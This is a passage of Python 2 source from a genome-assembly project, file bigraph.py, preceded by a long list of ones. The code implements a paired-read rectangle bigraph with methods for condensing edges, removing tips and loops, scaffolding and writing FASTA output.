[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ablab/rectangles
bigraph.py
1
37881
from abstract_graph import Abstract_Graph, Abstract_Edge, Abstract_Vertex import abstract_graph import os import saveparser import experimental import graph import logging import cStringIO import itertools from test_util import TestUtils from rectangle import Rectangle from utils import conjugate import utils DEEP_THRESHOLD = 10 class BVertex(Abstract_Vertex): vid = 0 def __init__(self, key): Abstract_Vertex.__init__(self, BVertex.vid) self.key = key BVertex.vid += 1 class BEdge(Abstract_Edge): eid = 0 def __init__(self, v1, v2, diag): Abstract_Edge.__init__(self, v1, v2, BEdge.eid) self.diagonals = [diag] BEdge.eid += 1 def length(self): length = 0 for diag in self.diagonals: length += diag.offsetc - diag.offseta return length def get_begin_seq(self, K, d, is_sc): (seq1, seq2) = self.get_paired_seq(K, d) seq = ''.join(map(lambda x, y: x if x != 'N' else (y if y != 'N' else 'N'), seq1, seq2)).strip('N') seq = seq.split(self.get_midle_seq())[0] return seq def get_end_seq(self, K, d, is_sc): (seq1, seq2) = self.get_paired_seq(K, d) seq = ''.join(map(lambda x, y: x if x != 'N' else (y if y != 'N' else 'N'), seq1, seq2)).strip('N') seq = seq.split(self.get_midle_seq())[1] return seq def get_midle_seq(self): seq = "" for diag in self.diagonals: seq += diag.rectangle.e1.seq[diag.offseta:diag.offsetc] return seq def get_seq_for_contig(self, K, d, is_sc): if is_sc: CUT_THRESHOLD = 2.0 #TODO: should take from histogram!!!! CUT_LENGTH_THRESHOLD = 5.0 MIN_LENGTH = 4 * d else: CUT_LENGTH_THRESHOLD = 5 CUT_THRESHOLD = 0.0 MIN_LENGTH = 0 (seq1, seq2) = self.get_paired_seq(K, d) seq = ''.join(map(lambda x, y: x if x != 'N' else (y if y != 'N' else 'N'), seq1, seq2)).strip('N') first = self.diagonals[0] last = self.diagonals[-1] if len(seq1) > MIN_LENGTH: cur_len = 0 diag_index = 0 diag = self.diagonals[diag_index] can_add_begin = True while cur_len < d: if diag.offsetc - diag.offseta < CUT_LENGTH_THRESHOLD or (diag.support() < CUT_THRESHOLD): can_add_begin = False break diag_index += 1 if diag_index == len(self.diagonals): cur_len = d continue diag = self.diagonals[diag_index] cur_len += diag.offsetc - diag.offseta cur_len = 0 diag_index = len(self.diagonals) -1 diag = self.diagonals[diag_index] can_add_end = True while cur_len < d: if diag.offsetc - diag.offseta < CUT_LENGTH_THRESHOLD or (diag.support() < CUT_THRESHOLD): can_add_end = False break diag_index -= 1 if diag_index == -1: cur_len = d continue diag = self.diagonals[diag_index] cur_len += diag.offsetc - diag.offseta if can_add_end and can_add_begin: return first.rectangle.e1.seq[:first.offseta] + seq + last.rectangle.e2.seq[last.offsetd + K:] if can_add_end: return seq + last.rectangle.e2.seq[last.offsetd + K:] if can_add_begin: return first.rectangle.e1.seq[:first.offseta] + seq seq1 = cStringIO.StringIO() for this in self.diagonals: seq1.write(this.rectangle.e1.seq[this.offseta : this.offsetc]) last = self.diagonals[-1] seq1.write(last.rectangle.e1.seq[last.offsetc : ])#last.offsetc + d]) first = self.diagonals[0] seq1 = first.rectangle.e2.seq[:first.offsetb] + seq1.getvalue()[d:]#[first.offsetb - d:first.offsetb] + seq1.getvalue()[d:] return seq1 def get_seq(self,K,d): (seq1, seq2) = self.get_paired_seq(K, d) seq = utils.seq_join(seq1, seq2).strip('N') return seq def get_paired_seq(self, K, d): seq1 = cStringIO.StringIO() seq2 = cStringIO.StringIO() seq2.write('N' * d) for this in self.diagonals: seq1.write(this.rectangle.e1.seq[this.offseta : this.offsetc]) seq2.write(this.rectangle.e2.seq[this.offsetb : this.offsetd]) last = self.diagonals[-1] seq1.write(last.rectangle.e1.seq[last.offsetc : last.offsetc + K]) seq2.write(last.rectangle.e2.seq[last.offsetd : last.offsetd + K]) seq1.write('N' * (len(seq2.getvalue())-len(seq1.getvalue()))) return (seq1.getvalue(), seq2.getvalue()) def get_cvr(self): cvr = 0.0 sumlen = 0 for this in self.diagonals: thiscvr = (this.rectangle.e1.cvr + this.rectangle.e2.cvr) * 0.5 l = this.offsetc - this.offseta cvr += thiscvr * l sumlen += l cvr /= sumlen return cvr def __repr__(self): return str((self.eid, self.diagonals)) class BGraph(Abstract_Graph): def __init__(self, graph, d, test_utils): Abstract_Graph.__init__(self) self.logger = logging.getLogger('rectangles') self.graph = graph self.d = d self.diagonals = set() self.test_utils = test_utils def __remove_bedge__(self, bedge): bv1 = bedge.v1 bv2 = bedge.v2 if bedge in bv1.out: bv1.out.remove(bedge) if (bedge in bv2.inn): bv2.inn.remove(bedge) self.__try_delete_bv(bv1) self.__try_delete_bv(bv2) if bedge.eid in self.es: del self.es[bedge.eid] for diag in bedge.diagonals: if diag in self.diagonals: self.diagonals.remove(diag) def use_scaffold_paired_info(self, L, additional_prd): long_edges = set() used_paires = set() connect_edges = set() count_correct_scaffolds = 0 count_incorrect_scaffolds = 0 for edge_id, edge in self.es.items(): if edge.length() > L: long_edges.add(edge) for e1 in long_edges: for e2 in long_edges: first_rectangle = e1.diagonals[-1].rectangle second_rectangle = e2.diagonals[0].rectangle e11 = first_rectangle.e1 e12 = first_rectangle.e2 e21 = second_rectangle.e1 e22 = second_rectangle.e2 if (e12.eid, e21.eid) in additional_prd: #or (e11, e22) in additional_prd or (e11, e21) in additional_prd or (e12, e22) in additional_prd: (D, weight, delta) = additional_prd[(e12.eid,e21.eid)][0] if not self.graph.is_connected(first_rectangle.e2.v2, second_rectangle.e1, 10): count_correct_scaffolds +=1 if len(first_rectangle.e2.v2.out) != 0 or len(second_rectangle.e1.v1.inn) != 0: continue used_paires.add((e12.eid, e21.eid)) count_incorrect_scaffolds +=1 if D - first_rectangle.e2.len > 0 and D - first_rectangle.e2.len < 100: print "SHOULD CONNECT", (e1.eid, e2.eid), (e12.eid, e21.eid), D - first_rectangle.e2.len, "\n", first_rectangle.e2.seq[-55:], "\n", second_rectangle.e1.seq[:55] connect_edges.add((e1.eid, e2.eid)) max_eid = self.graph.max_eid self.graph.add_edge(max_eid, e12.v2.vid, e21.v1.vid, self.graph.K + 3, max_eid + 1) self.graph.add_edge(max_eid + 1, e21.conj.v2.vid, e12.conj.v1.vid, self.graph.K + 3, max_eid) seq = first_rectangle.e2.seq[-self.graph.K:] + "NNN" + second_rectangle.e1.seq[:self.graph.K] self.graph.add_seq(max_eid, seq) self.graph.add_seq(max_eid + 1, utils.rc(seq)) seq2 = second_rectangle.conj.e2.seq[-self.graph.K:] + "NNN" + first_rectangle.conj.e1.seq[:self.graph.K] assert seq2 == utils.rc(seq),"\n" + seq2 + "\n" + utils.rc(seq) path_1 = [] path_2 = [] used = set() begin_path = False start_offset = 0 for diag in e1.diagonals: if e11 == diag.rectangle.e2: begin_path = True if begin_path and diag.rectangle.e2 not in used: path_1.append(diag.rectangle.e2) used.add(diag.rectangle.e2) path_1.append(self.graph.es[max_eid]) if e1.diagonals[-1].rectangle.e2.len <= e1.diagonals[-1].offsetc: path_1 = path_1[1:] start_offset = 0 else: start_offset = e1.diagonals[-1].offsetc path_2.append(self.graph.es[max_eid]) path_2.append(e2.diagonals[0].rectangle.e1) used = set() for diag in e2.diagonals: if e22 == diag.rectangle.e1: break if diag.rectangle.e1 not in used: path_2.append(diag.rectange.e1) used.add(diag.rectangle.e1) print "path1", [e.eid for e in path_1] , "path2", [e.eid for e in path_2] #self.add_rectangles_by_path(path_1, path_2, start_offset) self.test_utils.logger.info("count_correct_scaffolds " + str(count_correct_scaffolds) + " " + str(count_incorrect_scaffolds) + " " + str(len(used_paires)) + "\n") return connect_edges def add_rectangles_by_path(self, path1, path2, start_offset): path_len = 0 for p in path1: path_len += p.len # path_len -= start_offset first_shift = start_offset second_shift = 0 pos_first_path = 0 pos_second_path = 0 first_len = first_shift while first_len < path_len: ed1 = path1[pos_first_path] ed2 = path2[pos_second_path] rectangle = Rectangle(ed1,ed2) rectangle.add_diagonal(self.d, self.d + first_shift - second_shift) rect_diag = rectangle.get_closest_diagonal(self.d + first_shift - second_shift) self.add_diagonal_and_conj(rect_diag) print "ADD DIAGS", rect_diag if ed2.len - second_shift < ed1.len - first_shift: pos_second_path += 1 first_shift += ed2.len - second_shift first_len += ed2.len - second_shift second_shift = 0 elif ed1.len - first_shift < ed2.len - second_shift: pos_first_path += 1 first_len += ed1.len - first_shift second_shift += ed1.len - first_shift first_shift = 0 else: first_len += ed1.len - first_shift pos_second_path += 1 pos_first_path += 1 first_shift = 0 second_shift = 0 def edges_expand(self, L): should_connect = dict() for edge_id, edge in self.es.items(): if edge.length() > L: self.edge_expand(edge, should_connect, L) to_delete = set() for edge_id, path in should_connect.items(): if path[-1].eid in should_connect: to_delete.add(edge_id) for eid in to_delete: del should_connect[eid] conj_should_connect = dict() for edge_id, path in should_connect.items(): conj_path = [] i = len(path) -1 while i >= 0: conj_path.append(path[i].conj) i -= 1 conj_should_connect[path[0].conj.eid] = conj_path conj_should_connect[path[0].eid] = path for edge_id, path in conj_should_connect.items(): print "NEW CONNECT PATHS",edge_id, [e.eid for e in path] return conj_should_connect def edge_expand(self, begin_edge, should_connect, L): second_edges = [] prev_first = None first = begin_edge.diagonals[0].rectangle.e2 for diag in begin_edge.diagonals: if diag.rectangle.e1 == first: prev_first = first while prev_first.eid == first.eid: if len(second_edges) == 0: first == None break first = second_edges.pop(0) second_edges.append(diag.rectangle.e2) if len(second_edges) == 0: return v2 = begin_edge.v2 paths = self.expand(v2, second_edges, first, prev_first, [begin_edge], []) if len(paths) == 1: should_add = False path = paths[0] for e in path: if e != begin_edge and e.length() > L: should_add = True if should_add: should_connect[begin_edge.eid] = path return def expand(self, v2, second_edges, first, prev_first, path, paths): extend_edges = [] end_edges = [] for next_edge in v2.out: extend = self.can_expand(next_edge, second_edges, first, prev_first) if not extend: continue if len(extend[1]) == 0 and not extend[2]: new_path = list(path) new_path.append(next_edge) paths.append(new_path) elif len(extend[1]) >= 1: extend_edges.append(extend) for next_extend in extend_edges: (n_edge, n_second_edges, n_first, n_prev_first) = next_extend new_path = list(path) new_path.append(n_edge) self.expand(n_edge.v2, n_second_edges, n_first, n_prev_first, new_path, paths) return paths def can_expand(self, edge, second_edges, first, prev_first): second_edges = list(second_edges) for diag in edge.diagonals: if diag.rectangle.e1 != first and diag.rectangle.e1 != prev_first: return None else: if diag.rectangle.e1 == first: prev_first = first while prev_first.eid == first.eid: if len(second_edges) == 0: return (edge, second_edges, None, prev_first) first = second_edges.pop(0) return (edge, second_edges, first, prev_first) def __try_delete_bv(self, v): if len(v.out) == 0 and len(v.inn) == 0 and v.key in self.vs: del self.vs[v.key] def check_tips(self, K ): v1s = set() v2s = set() tips = set() for bv in self.vs.itervalues(): if len(bv.inn) == 1 and len(bv.out) == 0 and len(bv.inn[0].get_seq(K, self.d)) < 3 * self.d and bv.inn[0].v1.vid != bv.vid: edge = bv.inn[0] if len(edge.diagonals) == 1: rect = edge.diagonals[0].rectangle v1s.add(bv) supp = 0 for diag in edge.diagonals: supp += diag.support() tips.add(bv.inn[0]) self.delete_tips(K,tips) def delete_tips(self, K, bes): for be in bes: self.__remove_bedge__(be) if (be.eid != be.conj.eid): self.__remove_bedge__(be.conj) self.condense() def delete_missing_loops(self, DG_loops, K, L, threshold): begs_related_to_loop = dict() begin_loops = dict() end_loops = dict() for eeid1, (long_eid1, long_eid2, busheids, path, visited_vs) in DG_loops.items(): for k, be in self.es.items(): for diag in be.diagonals: rect = diag.rectangle eids = [rect.e1.eid, rect.e2.eid ] if rect.e1.eid not in busheids or rect.e2.eid not in busheids: continue for eid in eids: if eid not in busheids: continue if rect.e1.eid == long_eid1: if rect.e2.eid == long_eid1: begin_loops[long_eid1] = (diag, be) if rect.e2.eid == long_eid2: if rect.e1.eid == long_eid2: end_loops[long_eid1] = (diag, be) if eeid1 not in begs_related_to_loop: begs_related_to_loop[eeid1] = set() begs_related_to_loop[eeid1].add(be) diag_to_add = set() for eid, begs in begs_related_to_loop.items(): (long_eid1, long_eid2, busheids, path, visited_vs) = DG_loops[eid] if len(begs) < 2: continue if eid not in begin_loops or eid not in end_loops: print "not find begin_end" continue begin_diag = begin_loops[eid][0] end_diag = end_loops[eid][0] path.append(end_loops[eid][0].rectangle.e1) first_shift = begin_diag.offseta second_shift = begin_diag.offsetb path_len = 0 for e in path: path_len += e.len rectangles = [] diags = [] pos_first_path = 0 pos_second_path = 0 first_len = first_shift while first_len < path_len and pos_second_path < len(path): ed1 = path[pos_first_path] ed2 = path[pos_second_path] rectangle = Rectangle(ed1,ed2) rectangle.add_diagonal(self.d, self.d + first_shift - second_shift) rect_diag = rectangle.get_closest_diagonal(self.d + first_shift - second_shift) rectangles.append(rectangle) diags.append(rect_diag) if ed2.len - second_shift < ed1.len - first_shift: pos_second_path += 1 first_shift += ed2.len - second_shift first_len += ed2.len - second_shift second_shift = 0 elif ed1.len - first_shift < ed2.len - second_shift: pos_first_path += 1 first_len += ed1.len - first_shift second_shift += ed1.len - first_shift first_shift = 0 else: first_len += ed1.len - first_shift pos_second_path += 1 pos_first_path += 1 first_shift = 0 second_shift = 0 for diag in diags: diag_to_add.add(diag) for bedge in begs: self.__remove_bedge__(bedge) self.__remove_bedge__(bedge.conj) for diag in bedge.diagonals: if diag.rectangle.e1.eid not in busheids or diag.rectangle.e2.eid not in busheids: diag_to_add.add(diag) if begin_diag in bedge.diagonals: for diag in bedge.diagonals: if diag == begin_diag: break diag_to_add.add(diag) elif end_diag in bedge.diagonals: bedge.diagonals.reverse() for diag in bedge.diagonals: if diag == end_diag: break diag_to_add.add(diag) for diag in diag_to_add: self.add_diagonal_and_conj(diag) #L - big contig's len > L #threshold - max deep in bfs def delete_loops(self, K, L, threshold): edges_to_delete = set() connected_paths = set() count_loop = 0 rectangles_before_loop = [] edges_before_loop = set() for k, be in self.es.items(): if len(be.get_seq(K, self.d)) > L: found = self.__find_loops(be, K, threshold, L, edges_to_delete, connected_paths) if found: count_loop += 1 rectangles_before_loop.append([diag.rectangle.e1.eid for diag in be.diagonals]) for diag in be.diagonals: edges_before_loop.add(diag.rectangle.e1.eid) edges_before_loop.add(diag.rectangle.e2.eid) #for e in rectangles_before_loop[-1]: # edges_before_loop.add(e) for edge in edges_to_delete: if edge.eid not in connected_paths and edge.conj.eid not in connected_paths: self.__remove_bedge__(edge) self.__remove_bedge__(edge.conj) return edges_before_loop def __find_loops(self, be, K, threshold, L, edges_to_delete, connected_path): result = self.find_all_loops(be, threshold, L) if not result: return False long_end = self.es[result[1]] end_long_edge_id = long_end.v2.vid begin_long_edge_id = self.es[result[0]].v1.vid visited_vs = result[4] for bv in visited_vs: for e in bv.out: if e.v2.vid != end_long_edge_id: edges_to_delete.add(e) for e in bv.inn: bv_begin = e.v1 if bv_begin.vid != begin_long_edge_id: edges_to_delete.add(e) path = self.get_paths(be.v2, long_end, threshold)[0] for e in path: connected_path.add(e.eid) return True def print_about_edges(self, eids, K): print "All about edge", eids for k, be in self.es.items(): if be.eid in eids: info = str(be.eid) + " len " + str(len(be.get_seq(K, self.d))) + " " v1 = be.v1 v2 = be.v2 info += " v1 " + str(v1.vid) + " inn " for e in v1.inn: info += str(e.eid) + " (" +str(e.v1.vid) + "," + str(e.v2.vid) + ") " info += " out " for e in v1.out: info += str(e.eid) + " (" +str(e.v1.vid) + "," + str(e.v2.vid) + ") " info += " v2 " + str (v2.vid) + " inn " for e in v2.inn: info += str(e.eid) + " (" +str(e.v1.vid) + "," + str(e.v2.vid) + ") " info += " out " for e in v2.out: info += str(e.eid) + " (" +str(e.v1.vid) + "," + str(e.v2.vid) + ") " info += "\n" print info def save(self, outpath, K): eid = 0 left = open(os.path.join(outpath,"rectangle_paired_info_1.fasta"), "w") right = open(os.path.join(outpath, "rectangle_paired_info_2.fasta"), "w") for k, be in self.es.items(): (seq1, seq2) = be.get_paired_seq(K, self.d) seq2 = seq2.strip('N') seq1 = seq1.strip('N') left.write(">" + str(eid) + "/1\n" + seq1 + "\n") right.write(">" + str(eid) + "/2\n" + seq2 + "\n") eid += 1 left.close() right.close() def __get_bvertex(self, key): if key in self.vs: bv = self.vs.pop(key) bv.key = bv.key.join_with(key) # transitive closure else: bv = BVertex(key) self.vs[bv.key] = bv return bv def __is_bvertex(self, key): return key in self.vs def __add_bedge(self, diag): v1 = self.__get_bvertex(diag.key1) v2 = self.__get_bvertex(diag.key2) be = BEdge(v1, v2, diag) self.es[be.eid] = be return be def add_diagonal(self, diag): if diag in self.diagonals: return be = self.__add_bedge(diag) conj = self.__add_bedge(diag.conj) if diag.conj != diag else be self.diagonals.add(diag) self.diagonals.add(diag.conj) conjugate(be, conj) conjugate(be.v1, conj.v2) conjugate(be.v2, conj.v1) return (be, conj) def add_diagonal_and_conj(self, diag): for old_diag in self.diagonals: if diag.rectangle.e1 == old_diag.rectangle.e1 and diag.rectangle.e2 == old_diag.rectangle.e2: if diag.D == old_diag.D: return rect = diag.rectangle rect_conj = Rectangle(rect.e2.conj, rect.e1.conj) conjugate(rect, rect_conj) D = diag.D - diag.rectangle.e1.len + diag.rectangle.e2.len pathset = diag.pathset.conj() if experimental.filter == experimental.Filter.pathsets else None rect_conj.add_diagonal(self.d, D, pathset) diag_conj = rect.conj.diagonals[D, pathset] conjugate(diag, diag_conj) return self.add_diagonal(diag) def __join_biedges(self, be1, be2): ## u ---be1---> v ---be2---> w ## z <--be4---- y <--be3---- x ## transforms to: ## u --------beA--------> w ## z <-------beB--------- x be3 = be2.conj be4 = be1.conj u, v, w = be1.v1, be1.v2, be2.v2 x, y, z = be3.v1, be3.v2, be4.v2 assert be1.v2 == be2.v1 assert 1 == len(v.inn) == len(v.out) == len(y.inn) == len(y.out), (be1.eid, be2.eid, len(v.inn), len(v.out), len(y.inn), len(y.out)) assert be1 != be3, "=> (v == y) => (in-degree(v) > 1)" assert be2 != be4, "=> (v == y) => (out-degree(v) > 1)" if be1 == be4 and be2 == be3: assert z == v == x assert u == y == w assert False return # TODO: think how to condense better, rare case if be2 == be3: # loop on the right: be1->be2=be3->be4 assert v == x assert y == w beA = BEdge(u, z, None) beA.diagonals = be1.diagonals + be2.diagonals + be4.diagonals first_connect = self.test_utils.should_join(be1.diagonals[-1], be2.diagonals[0]) second_connect = self.test_utils.should_join(be2.diagonals[-1],be4.diagonals[0]) if first_connect: self.test_utils.join_correct += 1 else: self.test_utils.join_incorrect += 1 if second_connect: self.test_utils.join_correct += 1 else: self.test_utils.join_incorrect +=1 conjugate(beA, beA) self.es[beA.eid] = beA u.out.remove(be1) w.inn.remove(be2) z.inn.remove(be4) del self.es[be1.eid] del self.es[be2.eid] del self.es[be4.eid] elif be1 == be4: # loop on the left: be3->be1=be4->be2 assert u == y assert z == v beA = BEdge(x, w, None) beA.diagonals = be3.diagonals + be1.diagonals + be2.diagonals first_connect = self.test_utils.should_join(be3.diagonals[-1], be1.diagonals[0]) second_connect = self.test_utils.should_join(be1.diagonals[-1],be2.diagonals[0]) if first_connect: self.test_utils.join_correct += 1 else: self.test_utils.join_incorrect += 1 if second_connect: self.test_utils.join_correct += 1 else: self.test_utils.join_incorrect +=1 conjugate(beA, beA) self.es[beA.eid] = beA u.out.remove(be1) w.inn.remove(be2) x.out.remove(be3) del self.es[be1.eid] del self.es[be2.eid] del self.es[be3.eid] else: # most usual case assert len({be1, be2, be3, be4}) == 4, (be1, be2, be3, be4) # all different if u == w: assert z == x assert len({u, v, w, x, y, z}) == 4, (u, v, w, x, y, z) # same ends, ok elif u == x: assert z == w assert len({u, v, w, x, y, z}) == 4, (u, v, w, x, y, z) # conjugated ends, ok else: assert len({u, v, w, x, y, z}) == 6, (u, v, w, x, y, z) # all different # TODO: check (x == u and w == z) beA = BEdge(u, w, None) beA.diagonals = be1.diagonals + be2.diagonals if self.test_utils: first_connect = self.test_utils.should_join(be1.diagonals[-1], be2.diagonals[0]) second_connect = self.test_utils.should_join(be3.diagonals[-1],be4.diagonals[0]) if first_connect: self.test_utils.join_correct += 1 else: self.test_utils.join_incorrect += 1 if second_connect: self.test_utils.join_correct += 1 else: self.test_utils.join_incorrect +=1 beB = BEdge(x, z, None) beB.diagonals = be3.diagonals + be4.diagonals conjugate(beA, beB) self.es[beA.eid] = beA self.es[beB.eid] = beB u.out.remove(be1) w.inn.remove(be2) x.out.remove(be3) z.inn.remove(be4) del self.es[be1.eid] del self.es[be2.eid] del self.es[be3.eid] del self.es[be4.eid] v.inn, v.out = [], [] y.inn, y.out = [], [] self.vs.pop(v.key) self.vs.pop(y.key) def condense(self): l = len(self.vs) for bv in self.vs.values(): # copy because can be: "Set changed size during iteration" if len(bv.inn) == 1 and len(bv.out) == 1 and (bv.inn[0] != bv.out[0]): self.__join_biedges(bv.inn[0], bv.out[0]) # self.__check() self.logger.info("Condensed %d bi-vertices (out of %d). %d bi-vertices left." % (l - len(self.vs), l, len(self.vs))) def project(self, outpath, is_sc): log = open(os.path.join(outpath,"mis_log.txt"),"w") g = graph.Graph() count_correct_rectangles = 0 count_part_correct_rectangles = 0 count_not_correct_rectanlges = 0 count_part_unaligned_correct = 0 count_unaligned = 0 for key, be in self.es.items(): # v ---------be--------> w # y <-----be.conj------- x v, w = be.v1, be.v2 x, y = be.conj.v1, be.conj.v2 correct_diag = 0 unalign_diag = 0 false_diag = 0 for diag in be.diagonals: if self.test_utils: is_true_diag = self.test_utils.is_true_diagonal(diag) if is_true_diag == self.test_utils.TRUE_DIAG: correct_diag +=1 elif is_true_diag == self.test_utils.UNALIGNED_DIAG: unalign_diag +=1 else: false_diag += 1 if correct_diag > 0 and false_diag == 0 and unalign_diag == 0: count_correct_rectangles += 1 elif correct_diag > 0 and false_diag == 0: count_part_unaligned_correct += 1 elif correct_diag > 0: count_part_correct_rectangles += 1 elif false_diag == 0: count_unaligned += 1 elif false_diag > 0: count_not_correct_rectanlges +=1 #assert be != be.conj #assert v != w #assert v != x seq = be.get_seq_for_contig(self.graph.K, self.d, is_sc) cvr = be.get_cvr() g.add_vertex(v.vid, y.vid) g.add_vertex(y.vid, v.vid) g.add_vertex(w.vid, x.vid) g.add_vertex(x.vid, w.vid) g.add_edge(be.eid, v.vid, w.vid, len(seq) - self.graph.K, be.conj.eid) g.add_seq(be.eid, seq) g.add_cvr(be.eid, cvr) log.write("\nmisassemble " + str(be.eid) + " "+ str(be.conj.eid)+ " "+ str(len(seq))) accum = 0 for diag in be.diagonals: accum += diag.offsetc - diag.offseta log.write("\n" + str(diag.offsetc - diag.offseta) + " " + str( accum) + " "+str( diag.support()) + " diag.e1.len " + str(diag.rectangle.e1.len) + " diag.e2.len " + str(diag.rectangle.e2.len)+ " e1.eid " + str(diag.rectangle.e1.eid) + " e2.eid " + str(diag.rectangle.e2.eid) ) log.close() if self.test_utils: self.test_utils.logger.info("count_correct_rectangles = " + str(count_correct_rectangles) + "\ncount_part_unaligned_correct = " + str(count_part_unaligned_correct) + "\ncount_part_correct_rectangles = " + str(count_part_correct_rectangles) + "\ncount_unaligned = " + str(count_unaligned) + "\ncount_not_correct = " + str(count_not_correct_rectanlges) + "\n\n") g.update_K() maxv = BVertex.vid maxe = BEdge.eid taken = set() for diag in self.diagonals: taken.add(diag.rectangle.e1) taken.add(diag.rectangle.e2) for e in self.graph.es.itervalues(): if e not in taken: # v ---e1---> w # x <--e2---- y assert e.conj not in taken e1 = e e2 = e.conj v = e1.v1.vid + maxv w = e1.v2.vid + maxv y = e2.v1.vid + maxv x = e2.v2.vid + maxv g.add_vertex(v, x) g.add_vertex(x, v) g.add_vertex(w, y) g.add_vertex(y, w) seq = e1.seq g.add_edge(e1.eid + maxe, v, w, len(seq) - self.graph.K, e2.eid + maxe) g.add_seq(e1.eid + maxe, seq) return g def __check(self): for eid, edge in self.es.items(): for this, next in itertools.izip(edge.diagonals, edge.diagonals[1:]): assert this.key2 == next.key1, (this, "->", next) def build_missing_rectangles(self, K, rectangles): return threshold = self.d self.test_utils.logger.info( "treshold " + str( threshold)) count_ovelaps = 0 count_miss_rect = 0 count_miss_path = 0 true_miss_path = 0 count_overlaps = 0 v1s = set() v2s = set() for bv in self.vs.itervalues(): if len(bv.inn) == 1 and len(bv.out) == 0 and len(bv.inn[0].get_seq(K, self.d)) > 3 * self.d: v1s.add(bv) if len(bv.inn) == 0 and len(bv.out) == 1 and len(bv.out[0].get_seq(K, self.d)) > 3 * self.d: v2s.add(bv) assert len(v1s) == len(v2s) # because of rev-compl self.test_utils.logger.info("v1s.len "+ str( len(v1s))) all_paired_paths = [] for v1 in v1s: be1 = v1.inn[0] diag1 = be1.diagonals[-1] for v2 in v2s: be2 = v2.out[0] if (be1.eid == be2.eid): continue diag2 = be2.diagonals[0] paths1 = abstract_graph.find_paths(diag1.rectangle.e1.v1, diag2.rectangle.e1.v1, diag1.rectangle.e1, threshold + diag1.rectangle.e1.len, DEEP_THRESHOLD) paths2 = abstract_graph.find_paths(diag1.rectangle.e2.v1, diag2.rectangle.e2.v1, diag1.rectangle.e2, threshold + diag1.rectangle.e2.len, DEEP_THRESHOLD) paired_paths = find_pair_paths(paths1, paths2, diag1, diag2) if len(paired_paths) != 0: all_paired_paths.append((paired_paths, diag1, diag2)) self.test_utils.logger.info("all_paired_paths " + str( len(all_paired_paths))) can_find_one_path_more = True added_paths = [] while can_find_one_path_more: the_best_path = None the_best_support = 0 can_find_one_path_more = False for paired_paths in all_paired_paths: (best_support, best_len, best_rectangles, best_diags, best_path) = self.choose_best_path(paired_paths[0], rectangles, paired_paths[1], paired_paths[2], self.d, added_paths) if best_support/best_len >= 0.0 and best_support/best_len > the_best_support: the_best_support = best_support/best_len the_best_path = (best_support, best_len, best_rectangles, best_diags, best_path) if the_best_path: added_paths.append(the_best_path[-1]) (best_support, best_len, best_rectangles, best_diags, best_path) = the_best_path can_find_one_path_more = True prev_diag = best_diags[0] true_path = True for diag in best_diags[1:]: if prev_diag: should_connect = self.test_utils.should_join(prev_diag, diag) if not should_connect: true_path = False self.add_diagonal_and_conj(diag) is_true = self.test_utils.is_true_diagonal(diag) if not is_true: true_path = False count_miss_rect += 1 prev_diag = diag count_miss_path += 1 if true_path: true_miss_path += 1 self.test_utils.logger.info( "count_overlap " + str( count_ovelaps) + " count_miss_rect " + str( count_miss_rect) + " count miss path " + str(count_miss_path) + " true miss path " + str(true_miss_path)) def choose_best_path(self, paired_paths, rectangeles_set, diag1, diag2, d, added_paths): best_support = 0 best_len = 10000 best_rectangles = [] best_diags = [] best_path = paired_paths[0] best_not_supported = 0 for paired_path in paired_paths: (path1, path2, path_len) = paired_path if paired_path in added_paths: continue first_shift = diag1.offseta second_shift = diag1.offsetb path1.append(diag2.rectangle.e1) path2.append(diag2.rectangle.e2) rectangles = [] diags = [] not_supported = [] path_support = 0 pos_first_path = 0 pos_second_path = 0 first_len = first_shift make_less_N50 = False while not make_less_N50 and first_len < path_len + diag2.offseta: ed1 = path1[pos_first_path] ed2 = path2[pos_second_path] rectangle = Rectangle(ed1,ed2) rectangle.add_diagonal(d, d + first_shift - second_shift) rect_diag = rectangle.get_closest_diagonal(d + first_shift - second_shift) if (not (rect_diag.key1 == diag1.key1 and rect_diag.key2 == diag1.key2) and not(rect_diag.key1 == diag2.key1 and rect_diag.key2 == diag2.key2)): can_use = [diag1.key1, diag1.key2, diag2.key1, diag2.key2] if (rect_diag.key1 in self.vs and rect_diag.key1 not in can_use) or (rect_diag.key2 in self.vs and rect_diag.key2 not in can_use): make_less_N50 = True continue diags.append(rect_diag) rectangles.append(rectangle) rectangeles_set.use_prd_diag(rect_diag) #if rect_diag.prd_support < 0.00001 and (ed2.len > 10 and ed1.len > 10): # make_less_N50 = True # continue path_support += rect_diag.prd_support if ed2.len - second_shift < ed1.len - first_shift: pos_second_path += 1 first_shift += ed2.len - second_shift first_len += ed2.len - second_shift if rect_diag.prd_support < 0.000000001: not_supported.append(ed2.len - 